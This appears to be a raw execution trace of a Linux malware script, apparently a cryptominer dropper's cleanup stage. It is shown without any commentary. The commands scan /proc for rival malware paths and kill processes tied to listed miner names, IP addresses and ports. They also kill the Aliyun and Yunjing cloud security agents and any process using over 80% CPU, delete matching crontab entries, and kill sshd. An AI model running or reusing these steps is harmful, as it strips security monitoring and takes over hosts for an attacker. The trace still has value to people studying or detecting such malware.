[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep /dot]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f hezb]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep php-fpm pool www]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep Cli start accept]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep bash -k]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep perfctl]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 185.71.65.238]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :1414]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :143]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :2222]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3333]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3389]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :4444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :5555]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

